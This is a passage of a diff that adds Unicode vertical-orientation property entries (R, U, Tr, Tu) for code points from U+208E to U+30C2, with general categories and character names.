+208E ; R # Pe SUBSCRIPT RIGHT PARENTHESIS
+2090..209C ; R # Lm [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T
+20A0..20BF ; R # Sc [32] EURO-CURRENCY SIGN..BITCOIN SIGN
+20D0..20DC ; R # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
+20DD..20E0 ; U # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
+20E1 ; R # Mn COMBINING LEFT RIGHT ARROW ABOVE
+20E2..20E4 ; U # Me [3] COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING UPWARD POINTING TRIANGLE
+20E5..20F0 ; R # Mn [12] COMBINING REVERSE SOLIDUS OVERLAY..COMBINING ASTERISK ABOVE
+2100..2101 ; U # So [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT
+2102 ; R # Lu DOUBLE-STRUCK CAPITAL C
+2103..2106 ; U # So [4] DEGREE CELSIUS..CADA UNA
+2107 ; U # Lu EULER CONSTANT
+2108..2109 ; U # So [2] SCRUPLE..DEGREE FAHRENHEIT
+210A..210E ; R # L& [5] SCRIPT SMALL G..PLANCK CONSTANT
+210F ; U # Ll PLANCK CONSTANT OVER TWO PI
+2110..2112 ; R # Lu [3] SCRIPT CAPITAL I..SCRIPT CAPITAL L
+2113 ; U # Ll SCRIPT SMALL L
+2114 ; U # So L B BAR SYMBOL
+2115 ; R # Lu DOUBLE-STRUCK CAPITAL N
+2116..2117 ; U # So [2] NUMERO SIGN..SOUND RECORDING COPYRIGHT
+2118 ; R # Sm SCRIPT CAPITAL P
+2119..211D ; R # Lu [5] DOUBLE-STRUCK CAPITAL P..DOUBLE-STRUCK CAPITAL R
+211E..2123 ; U # So [6] PRESCRIPTION TAKE..VERSICLE
+2124 ; R # Lu DOUBLE-STRUCK CAPITAL Z
+2125 ; U # So OUNCE SIGN
+2126 ; R # Lu OHM SIGN
+2127 ; U # So INVERTED OHM SIGN
+2128 ; R # Lu BLACK-LETTER CAPITAL Z
+2129 ; U # So TURNED GREEK SMALL LETTER IOTA
+212A..212D ; R # Lu [4] KELVIN SIGN..BLACK-LETTER CAPITAL C
+212E ; U # So ESTIMATED SYMBOL
+212F..2134 ; R # L& [6] SCRIPT SMALL E..SCRIPT SMALL O
+2135..2138 ; U # Lo [4] ALEF SYMBOL..DALET SYMBOL
+2139 ; U # Ll INFORMATION SOURCE
+213A..213B ; U # So [2] ROTATED CAPITAL Q..FACSIMILE SIGN
+213C..213F ; U # L& [4] DOUBLE-STRUCK SMALL PI..DOUBLE-STRUCK CAPITAL PI
+2140..2144 ; R # Sm [5] DOUBLE-STRUCK N-ARY SUMMATION..TURNED SANS-SERIF CAPITAL Y
+2145..2149 ; U # L& [5] DOUBLE-STRUCK ITALIC CAPITAL D..DOUBLE-STRUCK ITALIC SMALL J
+214A ; U # So PROPERTY LINE
+214B ; R # Sm TURNED AMPERSAND
+214C..214D ; U # So [2] PER SIGN..AKTIESELSKAB
+214E ; R # Ll TURNED SMALL F
+214F ; U # So SYMBOL FOR SAMARITAN SOURCE
+2150..215F ; U # No [16] VULGAR FRACTION ONE SEVENTH..FRACTION NUMERATOR ONE
+2160..2182 ; U # Nl [35] ROMAN NUMERAL ONE..ROMAN NUMERAL TEN THOUSAND
+2183..2184 ; U # L& [2] ROMAN NUMERAL REVERSED ONE HUNDRED..LATIN SMALL LETTER REVERSED C
+2185..2188 ; U # Nl [4] ROMAN NUMERAL SIX LATE FORM..ROMAN NUMERAL ONE HUNDRED THOUSAND
+2189 ; U # No VULGAR FRACTION ZERO THIRDS
+218A..218B ; R # So [2] TURNED DIGIT TWO..TURNED DIGIT THREE
+218C..218F ; U # Cn [4] <reserved-218C>..<reserved-218F>
+2190..2194 ; R # Sm [5] LEFTWARDS ARROW..LEFT RIGHT ARROW
+2195..2199 ; R # So [5] UP DOWN ARROW..SOUTH WEST ARROW
+219A..219B ; R # Sm [2] LEFTWARDS ARROW WITH STROKE..RIGHTWARDS ARROW WITH STROKE
+219C..219F ; R # So [4] LEFTWARDS WAVE ARROW..UPWARDS TWO HEADED ARROW
+21A0 ; R # Sm RIGHTWARDS TWO HEADED ARROW
+21A1..21A2 ; R # So [2] DOWNWARDS TWO HEADED ARROW..LEFTWARDS ARROW WITH TAIL
+21A3 ; R # Sm RIGHTWARDS ARROW WITH TAIL
+21A4..21A5 ; R # So [2] LEFTWARDS ARROW FROM BAR..UPWARDS ARROW FROM BAR
+21A6 ; R # Sm RIGHTWARDS ARROW FROM BAR
+21A7..21AD ; R # So [7] DOWNWARDS ARROW FROM BAR..LEFT RIGHT WAVE ARROW
+21AE ; R # Sm LEFT RIGHT ARROW WITH STROKE
+21AF..21CD ; R # So [31] DOWNWARDS ZIGZAG ARROW..LEFTWARDS DOUBLE ARROW WITH STROKE
+21CE..21CF ; R # Sm [2] LEFT RIGHT DOUBLE ARROW WITH STROKE..RIGHTWARDS DOUBLE ARROW WITH STROKE
+21D0..21D1 ; R # So [2] LEFTWARDS DOUBLE ARROW..UPWARDS DOUBLE ARROW
+21D2 ; R # Sm RIGHTWARDS DOUBLE ARROW
+21D3 ; R # So DOWNWARDS DOUBLE ARROW
+21D4 ; R # Sm LEFT RIGHT DOUBLE ARROW
+21D5..21F3 ; R # So [31] UP DOWN DOUBLE ARROW..UP DOWN WHITE ARROW
+21F4..21FF ; R # Sm [12] RIGHT ARROW WITH SMALL CIRCLE..LEFT RIGHT OPEN-HEADED ARROW
+2200..221D ; R # Sm [30] FOR ALL..PROPORTIONAL TO
+221E ; U # Sm INFINITY
+221F..2233 ; R # Sm [21] RIGHT ANGLE..ANTICLOCKWISE CONTOUR INTEGRAL
+2234..2235 ; U # Sm [2] THEREFORE..BECAUSE
+2236..22FF ; R # Sm [202] RATIO..Z NOTATION BAG MEMBERSHIP
+2300..2307 ; U # So [8] DIAMETER SIGN..WAVY LINE
+2308 ; R # Ps LEFT CEILING
+2309 ; R # Pe RIGHT CEILING
+230A ; R # Ps LEFT FLOOR
+230B ; R # Pe RIGHT FLOOR
+230C..231F ; U # So [20] BOTTOM RIGHT CROP..BOTTOM RIGHT CORNER
+2320..2321 ; R # Sm [2] TOP HALF INTEGRAL..BOTTOM HALF INTEGRAL
+2322..2323 ; R # So [2] FROWN..SMILE
+2324..2328 ; U # So [5] UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS..KEYBOARD
+2329 ; Tr # Ps LEFT-POINTING ANGLE BRACKET
+232A ; Tr # Pe RIGHT-POINTING ANGLE BRACKET
+232B ; U # So ERASE TO THE LEFT
+232C..237B ; R # So [80] BENZENE RING..NOT CHECK MARK
+237C ; R # Sm RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW
+237D..239A ; U # So [30] SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL
+239B..23B3 ; R # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
+23B4..23BD ; R # So [10] TOP SQUARE BRACKET..HORIZONTAL SCAN LINE-9
+23BE..23CD ; U # So [16] DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT..SQUARE FOOT
+23CE ; R # So RETURN SYMBOL
+23CF ; U # So EJECT SYMBOL
+23D0 ; R # So VERTICAL LINE EXTENSION
+23D1..23DB ; U # So [11] METRICAL BREVE..FUSE
+23DC..23E1 ; R # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
+23E2..23FF ; U # So [30] WHITE TRAPEZIUM..OBSERVER EYE SYMBOL
+2400..2422 ; U # So [35] SYMBOL FOR NULL..BLANK SYMBOL
+2423 ; R # So OPEN BOX
+2424..2426 ; U # So [3] SYMBOL FOR NEWLINE..SYMBOL FOR SUBSTITUTE FORM TWO
+2427..243F ; U # Cn [25] <reserved-2427>..<reserved-243F>
+2440..244A ; U # So [11] OCR HOOK..OCR DOUBLE BACKSLASH
+244B..245F ; U # Cn [21] <reserved-244B>..<reserved-245F>
+2460..249B ; U # No [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
+249C..24E9 ; U # So [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
+24EA..24FF ; U # No [22] CIRCLED DIGIT ZERO..NEGATIVE CIRCLED DIGIT ZERO
+2500..257F ; R # So [128] BOX DRAWINGS LIGHT HORIZONTAL..BOX DRAWINGS HEAVY UP AND LIGHT DOWN
+2580..259F ; R # So [32] UPPER HALF BLOCK..QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT
+25A0..25B6 ; U # So [23] BLACK SQUARE..BLACK RIGHT-POINTING TRIANGLE
+25B7 ; U # Sm WHITE RIGHT-POINTING TRIANGLE
+25B8..25C0 ; U # So [9] BLACK RIGHT-POINTING SMALL TRIANGLE..BLACK LEFT-POINTING TRIANGLE
+25C1 ; U # Sm WHITE LEFT-POINTING TRIANGLE
+25C2..25F7 ; U # So [54] BLACK LEFT-POINTING SMALL TRIANGLE..WHITE CIRCLE WITH UPPER RIGHT QUADRANT
+25F8..25FF ; U # Sm [8] UPPER LEFT TRIANGLE..LOWER RIGHT TRIANGLE
+2600..2619 ; U # So [26] BLACK SUN WITH RAYS..REVERSED ROTATED FLORAL HEART BULLET
+261A..261F ; R # So [6] BLACK LEFT POINTING INDEX..WHITE DOWN POINTING INDEX
+2620..266E ; U # So [79] SKULL AND CROSSBONES..MUSIC NATURAL SIGN
+266F ; U # Sm MUSIC SHARP SIGN
+2670..26FF ; U # So [144] WEST SYRIAC CROSS..WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
+2700..2767 ; U # So [104] BLACK SAFETY SCISSORS..ROTATED FLORAL HEART BULLET
+2768 ; R # Ps MEDIUM LEFT PARENTHESIS ORNAMENT
+2769 ; R # Pe MEDIUM RIGHT PARENTHESIS ORNAMENT
+276A ; R # Ps MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT
+276B ; R # Pe MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT
+276C ; R # Ps MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT
+276D ; R # Pe MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT
+276E ; R # Ps HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT
+276F ; R # Pe HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT
+2770 ; R # Ps HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT
+2771 ; R # Pe HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT
+2772 ; R # Ps LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT
+2773 ; R # Pe LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT
+2774 ; R # Ps MEDIUM LEFT CURLY BRACKET ORNAMENT
+2775 ; R # Pe MEDIUM RIGHT CURLY BRACKET ORNAMENT
+2776..2793 ; U # No [30] DINGBAT NEGATIVE CIRCLED DIGIT ONE..DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN
+2794..27BF ; R # So [44] HEAVY WIDE-HEADED RIGHTWARDS ARROW..DOUBLE CURLY LOOP
+27C0..27C4 ; R # Sm [5] THREE DIMENSIONAL ANGLE..OPEN SUPERSET
+27C5 ; R # Ps LEFT S-SHAPED BAG DELIMITER
+27C6 ; R # Pe RIGHT S-SHAPED BAG DELIMITER
+27C7..27E5 ; R # Sm [31] OR WITH DOT INSIDE..WHITE SQUARE WITH RIGHTWARDS TICK
+27E6 ; R # Ps MATHEMATICAL LEFT WHITE SQUARE BRACKET
+27E7 ; R # Pe MATHEMATICAL RIGHT WHITE SQUARE BRACKET
+27E8 ; R # Ps MATHEMATICAL LEFT ANGLE BRACKET
+27E9 ; R # Pe MATHEMATICAL RIGHT ANGLE BRACKET
+27EA ; R # Ps MATHEMATICAL LEFT DOUBLE ANGLE BRACKET
+27EB ; R # Pe MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET
+27EC ; R # Ps MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET
+27ED ; R # Pe MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET
+27EE ; R # Ps MATHEMATICAL LEFT FLATTENED PARENTHESIS
+27EF ; R # Pe MATHEMATICAL RIGHT FLATTENED PARENTHESIS
+27F0..27FF ; R # Sm [16] UPWARDS QUADRUPLE ARROW..LONG RIGHTWARDS SQUIGGLE ARROW
+2800..28FF ; R # So [256] BRAILLE PATTERN BLANK..BRAILLE PATTERN DOTS-12345678
+2900..297F ; R # Sm [128] RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE..DOWN FISH TAIL
+2980..2982 ; R # Sm [3] TRIPLE VERTICAL BAR DELIMITER..Z NOTATION TYPE COLON
+2983 ; R # Ps LEFT WHITE CURLY BRACKET
+2984 ; R # Pe RIGHT WHITE CURLY BRACKET
+2985 ; R # Ps LEFT WHITE PARENTHESIS
+2986 ; R # Pe RIGHT WHITE PARENTHESIS
+2987 ; R # Ps Z NOTATION LEFT IMAGE BRACKET
+2988 ; R # Pe Z NOTATION RIGHT IMAGE BRACKET
+2989 ; R # Ps Z NOTATION LEFT BINDING BRACKET
+298A ; R # Pe Z NOTATION RIGHT BINDING BRACKET
+298B ; R # Ps LEFT SQUARE BRACKET WITH UNDERBAR
+298C ; R # Pe RIGHT SQUARE BRACKET WITH UNDERBAR
+298D ; R # Ps LEFT SQUARE BRACKET WITH TICK IN TOP CORNER
+298E ; R # Pe RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+298F ; R # Ps LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+2990 ; R # Pe RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER
+2991 ; R # Ps LEFT ANGLE BRACKET WITH DOT
+2992 ; R # Pe RIGHT ANGLE BRACKET WITH DOT
+2993 ; R # Ps LEFT ARC LESS-THAN BRACKET
+2994 ; R # Pe RIGHT ARC GREATER-THAN BRACKET
+2995 ; R # Ps DOUBLE LEFT ARC GREATER-THAN BRACKET
+2996 ; R # Pe DOUBLE RIGHT ARC LESS-THAN BRACKET
+2997 ; R # Ps LEFT BLACK TORTOISE SHELL BRACKET
+2998 ; R # Pe RIGHT BLACK TORTOISE SHELL BRACKET
+2999..29D7 ; R # Sm [63] DOTTED FENCE..BLACK HOURGLASS
+29D8 ; R # Ps LEFT WIGGLY FENCE
+29D9 ; R # Pe RIGHT WIGGLY FENCE
+29DA ; R # Ps LEFT DOUBLE WIGGLY FENCE
+29DB ; R # Pe RIGHT DOUBLE WIGGLY FENCE
+29DC..29FB ; R # Sm [32] INCOMPLETE INFINITY..TRIPLE PLUS
+29FC ; R # Ps LEFT-POINTING CURVED ANGLE BRACKET
+29FD ; R # Pe RIGHT-POINTING CURVED ANGLE BRACKET
+29FE..29FF ; R # Sm [2] TINY..MINY
+2A00..2AFF ; R # Sm [256] N-ARY CIRCLED DOT OPERATOR..N-ARY WHITE VERTICAL BAR
+2B00..2B11 ; R # So [18] NORTH EAST WHITE ARROW..LEFTWARDS ARROW WITH TIP UPWARDS
+2B12..2B2F ; U # So [30] SQUARE WITH TOP HALF BLACK..WHITE VERTICAL ELLIPSE
+2B30..2B44 ; R # Sm [21] LEFT ARROW WITH SMALL CIRCLE..RIGHTWARDS ARROW THROUGH SUPERSET
+2B45..2B46 ; R # So [2] LEFTWARDS QUADRUPLE ARROW..RIGHTWARDS QUADRUPLE ARROW
+2B47..2B4C ; R # Sm [6] REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW..RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
+2B4D..2B4F ; R # So [3] DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW..SHORT BACKSLANTED SOUTH ARROW
+2B50..2B59 ; U # So [10] WHITE MEDIUM STAR..HEAVY CIRCLED SALTIRE
+2B5A..2B73 ; R # So [26] SLANTED NORTH ARROW WITH HOOKED HEAD..DOWNWARDS TRIANGLE-HEADED ARROW TO BAR
+2B76..2B95 ; R # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
+2B98..2BB7 ; R # So [32] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..RIBBON ARROW RIGHT DOWN
+2BB8..2BB9 ; U # So [2] UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR..UP ARROWHEAD IN A RECTANGLE BOX
+2BBA..2BBC ; U # Cn [3] <reserved-2BBA>..<reserved-2BBC>
+2BBD..2BC8 ; U # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
+2BC9 ; U # Cn <reserved-2BC9>
+2BCA..2BD1 ; U # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BD2 ; R # So GROUP MARK
+2BD3..2BEB ; U # Cn [25] <reserved-2BD3>..<reserved-2BEB>
+2BEC..2BEF ; R # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2BF0..2BFF ; U # Cn [16] <reserved-2BF0>..<reserved-2BFF>
+2C00..2C2E ; R # Lu [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+2C30..2C5E ; R # Ll [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+2C60..2C7B ; R # L& [28] LATIN CAPITAL LETTER L WITH DOUBLE BAR..LATIN LETTER SMALL CAPITAL TURNED E
+2C7C..2C7D ; R # Lm [2] LATIN SUBSCRIPT SMALL LETTER J..MODIFIER LETTER CAPITAL V
+2C7E..2C7F ; R # Lu [2] LATIN CAPITAL LETTER S WITH SWASH TAIL..LATIN CAPITAL LETTER Z WITH SWASH TAIL
+2C80..2CE4 ; R # L& [101] COPTIC CAPITAL LETTER ALFA..COPTIC SYMBOL KAI
+2CE5..2CEA ; R # So [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA
+2CEB..2CEE ; R # L& [4] COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI..COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
+2CEF..2CF1 ; R # Mn [3] COPTIC COMBINING NI ABOVE..COPTIC COMBINING SPIRITUS LENIS
+2CF2..2CF3 ; R # L& [2] COPTIC CAPITAL LETTER BOHAIRIC KHEI..COPTIC SMALL LETTER BOHAIRIC KHEI
+2CF9..2CFC ; R # Po [4] COPTIC OLD NUBIAN FULL STOP..COPTIC OLD NUBIAN VERSE DIVIDER
+2CFD ; R # No COPTIC FRACTION ONE HALF
+2CFE..2CFF ; R # Po [2] COPTIC FULL STOP..COPTIC MORPHOLOGICAL DIVIDER
+2D00..2D25 ; R # Ll [38] GEORGIAN SMALL LETTER AN..GEORGIAN SMALL LETTER HOE
+2D27 ; R # Ll GEORGIAN SMALL LETTER YN
+2D2D ; R # Ll GEORGIAN SMALL LETTER AEN
+2D30..2D67 ; R # Lo [56] TIFINAGH LETTER YA..TIFINAGH LETTER YO
+2D6F ; R # Lm TIFINAGH MODIFIER LETTER LABIALIZATION MARK
+2D70 ; R # Po TIFINAGH SEPARATOR MARK
+2D7F ; R # Mn TIFINAGH CONSONANT JOINER
+2D80..2D96 ; R # Lo [23] ETHIOPIC SYLLABLE LOA..ETHIOPIC SYLLABLE GGWE
+2DA0..2DA6 ; R # Lo [7] ETHIOPIC SYLLABLE SSA..ETHIOPIC SYLLABLE SSO
+2DA8..2DAE ; R # Lo [7] ETHIOPIC SYLLABLE CCA..ETHIOPIC SYLLABLE CCO
+2DB0..2DB6 ; R # Lo [7] ETHIOPIC SYLLABLE ZZA..ETHIOPIC SYLLABLE ZZO
+2DB8..2DBE ; R # Lo [7] ETHIOPIC SYLLABLE CCHA..ETHIOPIC SYLLABLE CCHO
+2DC0..2DC6 ; R # Lo [7] ETHIOPIC SYLLABLE QYA..ETHIOPIC SYLLABLE QYO
+2DC8..2DCE ; R # Lo [7] ETHIOPIC SYLLABLE KYA..ETHIOPIC SYLLABLE KYO
+2DD0..2DD6 ; R # Lo [7] ETHIOPIC SYLLABLE XYA..ETHIOPIC SYLLABLE XYO
+2DD8..2DDE ; R # Lo [7] ETHIOPIC SYLLABLE GYA..ETHIOPIC SYLLABLE GYO
+2DE0..2DFF ; R # Mn [32] COMBINING CYRILLIC LETTER BE..COMBINING CYRILLIC LETTER IOTIFIED BIG YUS
+2E00..2E01 ; R # Po [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER
+2E02 ; R # Pi LEFT SUBSTITUTION BRACKET
+2E03 ; R # Pf RIGHT SUBSTITUTION BRACKET
+2E04 ; R # Pi LEFT DOTTED SUBSTITUTION BRACKET
+2E05 ; R # Pf RIGHT DOTTED SUBSTITUTION BRACKET
+2E06..2E08 ; R # Po [3] RAISED INTERPOLATION MARKER..DOTTED TRANSPOSITION MARKER
+2E09 ; R # Pi LEFT TRANSPOSITION BRACKET
+2E0A ; R # Pf RIGHT TRANSPOSITION BRACKET
+2E0B ; R # Po RAISED SQUARE
+2E0C ; R # Pi LEFT RAISED OMISSION BRACKET
+2E0D ; R # Pf RIGHT RAISED OMISSION BRACKET
+2E0E..2E16 ; R # Po [9] EDITORIAL CORONIS..DOTTED RIGHT-POINTING ANGLE
+2E17 ; R # Pd DOUBLE OBLIQUE HYPHEN
+2E18..2E19 ; R # Po [2] INVERTED INTERROBANG..PALM BRANCH
+2E1A ; R # Pd HYPHEN WITH DIAERESIS
+2E1B ; R # Po TILDE WITH RING ABOVE
+2E1C ; R # Pi LEFT LOW PARAPHRASE BRACKET
+2E1D ; R # Pf RIGHT LOW PARAPHRASE BRACKET
+2E1E..2E1F ; R # Po [2] TILDE WITH DOT ABOVE..TILDE WITH DOT BELOW
+2E20 ; R # Pi LEFT VERTICAL BAR WITH QUILL
+2E21 ; R # Pf RIGHT VERTICAL BAR WITH QUILL
+2E22 ; R # Ps TOP LEFT HALF BRACKET
+2E23 ; R # Pe TOP RIGHT HALF BRACKET
+2E24 ; R # Ps BOTTOM LEFT HALF BRACKET
+2E25 ; R # Pe BOTTOM RIGHT HALF BRACKET
+2E26 ; R # Ps LEFT SIDEWAYS U BRACKET
+2E27 ; R # Pe RIGHT SIDEWAYS U BRACKET
+2E28 ; R # Ps LEFT DOUBLE PARENTHESIS
+2E29 ; R # Pe RIGHT DOUBLE PARENTHESIS
+2E2A..2E2E ; R # Po [5] TWO DOTS OVER ONE DOT PUNCTUATION..REVERSED QUESTION MARK
+2E2F ; R # Lm VERTICAL TILDE
+2E30..2E39 ; R # Po [10] RING POINT..TOP HALF SECTION SIGN
+2E3A..2E3B ; R # Pd [2] TWO-EM DASH..THREE-EM DASH
+2E3C..2E3F ; R # Po [4] STENOGRAPHIC FULL STOP..CAPITULUM
+2E40 ; R # Pd DOUBLE HYPHEN
+2E41 ; R # Po REVERSED COMMA
+2E42 ; R # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK
+2E43..2E49 ; R # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
+2E80..2E99 ; U # So [26] CJK RADICAL REPEAT..CJK RADICAL RAP
+2E9A ; U # Cn <reserved-2E9A>
+2E9B..2EF3 ; U # So [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
+2EF4..2EFF ; U # Cn [12] <reserved-2EF4>..<reserved-2EFF>
+2F00..2FD5 ; U # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
+2FD6..2FDF ; U # Cn [10] <reserved-2FD6>..<reserved-2FDF>
+2FE0..2FEF ; U # Cn [16] <reserved-2FE0>..<reserved-2FEF>
+2FF0..2FFB ; U # So [12] IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+2FFC..2FFF ; U # Cn [4] <reserved-2FFC>..<reserved-2FFF>
+3000 ; U # Zs IDEOGRAPHIC SPACE
+3001..3002 ; Tu # Po [2] IDEOGRAPHIC COMMA..IDEOGRAPHIC FULL STOP
+3003 ; U # Po DITTO MARK
+3004 ; U # So JAPANESE INDUSTRIAL STANDARD SYMBOL
+3005 ; U # Lm IDEOGRAPHIC ITERATION MARK
+3006 ; U # Lo IDEOGRAPHIC CLOSING MARK
+3007 ; U # Nl IDEOGRAPHIC NUMBER ZERO
+3008 ; Tr # Ps LEFT ANGLE BRACKET
+3009 ; Tr # Pe RIGHT ANGLE BRACKET
+300A ; Tr # Ps LEFT DOUBLE ANGLE BRACKET
+300B ; Tr # Pe RIGHT DOUBLE ANGLE BRACKET
+300C ; Tr # Ps LEFT CORNER BRACKET
+300D ; Tr # Pe RIGHT CORNER BRACKET
+300E ; Tr # Ps LEFT WHITE CORNER BRACKET
+300F ; Tr # Pe RIGHT WHITE CORNER BRACKET
+3010 ; Tr # Ps LEFT BLACK LENTICULAR BRACKET
+3011 ; Tr # Pe RIGHT BLACK LENTICULAR BRACKET
+3012..3013 ; U # So [2] POSTAL MARK..GETA MARK
+3014 ; Tr # Ps LEFT TORTOISE SHELL BRACKET
+3015 ; Tr # Pe RIGHT TORTOISE SHELL BRACKET
+3016 ; Tr # Ps LEFT WHITE LENTICULAR BRACKET
+3017 ; Tr # Pe RIGHT WHITE LENTICULAR BRACKET
+3018 ; Tr # Ps LEFT WHITE TORTOISE SHELL BRACKET
+3019 ; Tr # Pe RIGHT WHITE TORTOISE SHELL BRACKET
+301A ; Tr # Ps LEFT WHITE SQUARE BRACKET
+301B ; Tr # Pe RIGHT WHITE SQUARE BRACKET
+301C ; Tr # Pd WAVE DASH
+301D ; Tr # Ps REVERSED DOUBLE PRIME QUOTATION MARK
+301E..301F ; Tr # Pe [2] DOUBLE PRIME QUOTATION MARK..LOW DOUBLE PRIME QUOTATION MARK
+3020 ; U # So POSTAL MARK FACE
+3021..3029 ; U # Nl [9] HANGZHOU NUMERAL ONE..HANGZHOU NUMERAL NINE
+302A..302D ; U # Mn [4] IDEOGRAPHIC LEVEL TONE MARK..IDEOGRAPHIC ENTERING TONE MARK
+302E..302F ; U # Mc [2] HANGUL SINGLE DOT TONE MARK..HANGUL DOUBLE DOT TONE MARK
+3030 ; Tr # Pd WAVY DASH
+3031..3035 ; U # Lm [5] VERTICAL KANA REPEAT MARK..VERTICAL KANA REPEAT MARK LOWER HALF
+3036..3037 ; U # So [2] CIRCLED POSTAL MARK..IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
+3038..303A ; U # Nl [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY
+303B ; U # Lm VERTICAL IDEOGRAPHIC ITERATION MARK
+303C ; U # Lo MASU MARK
+303D ; U # Po PART ALTERNATION MARK
+303E..303F ; U # So [2] IDEOGRAPHIC VARIATION INDICATOR..IDEOGRAPHIC HALF FILL SPACE
+3040 ; U # Cn <reserved-3040>
+3041 ; Tu # Lo HIRAGANA LETTER SMALL A
+3042 ; U # Lo HIRAGANA LETTER A
+3043 ; Tu # Lo HIRAGANA LETTER SMALL I
+3044 ; U # Lo HIRAGANA LETTER I
+3045 ; Tu # Lo HIRAGANA LETTER SMALL U
+3046 ; U # Lo HIRAGANA LETTER U
+3047 ; Tu # Lo HIRAGANA LETTER SMALL E
+3048 ; U # Lo HIRAGANA LETTER E
+3049 ; Tu # Lo HIRAGANA LETTER SMALL O
+304A..3062 ; U # Lo [25] HIRAGANA LETTER O..HIRAGANA LETTER DI
+3063 ; Tu # Lo HIRAGANA LETTER SMALL TU
+3064..3082 ; U # Lo [31] HIRAGANA LETTER TU..HIRAGANA LETTER MO
+3083 ; Tu # Lo HIRAGANA LETTER SMALL YA
+3084 ; U # Lo HIRAGANA LETTER YA
+3085 ; Tu # Lo HIRAGANA LETTER SMALL YU
+3086 ; U # Lo HIRAGANA LETTER YU
+3087 ; Tu # Lo HIRAGANA LETTER SMALL YO
+3088..308D ; U # Lo [6] HIRAGANA LETTER YO..HIRAGANA LETTER RO
+308E ; Tu # Lo HIRAGANA LETTER SMALL WA
+308F..3094 ; U # Lo [6] HIRAGANA LETTER WA..HIRAGANA LETTER VU
+3095..3096 ; Tu # Lo [2] HIRAGANA LETTER SMALL KA..HIRAGANA LETTER SMALL KE
+3097..3098 ; U # Cn [2] <reserved-3097>..<reserved-3098>
+3099..309A ; U # Mn [2] COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK..COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+309B..309C ; Tu # Sk [2] KATAKANA-HIRAGANA VOICED SOUND MARK..KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+309D..309E ; U # Lm [2] HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK
+309F ; U # Lo HIRAGANA DIGRAPH YORI
+30A0 ; Tr # Pd KATAKANA-HIRAGANA DOUBLE HYPHEN
+30A1 ; Tu # Lo KATAKANA LETTER SMALL A
+30A2 ; U # Lo KATAKANA LETTER A
+30A3 ; Tu # Lo KATAKANA LETTER SMALL I
+30A4 ; U # Lo KATAKANA LETTER I
+30A5 ; Tu # Lo KATAKANA LETTER SMALL U
+30A6 ; U # Lo KATAKANA LETTER U
+30A7 ; Tu # Lo KATAKANA LETTER SMALL E
+30A8 ; U # Lo KATAKANA LETTER E
+30A9 ; Tu # Lo KATAKANA LETTER SMALL O
+30AA..30C2 ; U # Lo [25] KATAKANA LETTER O..KATAKANA LETTER DI
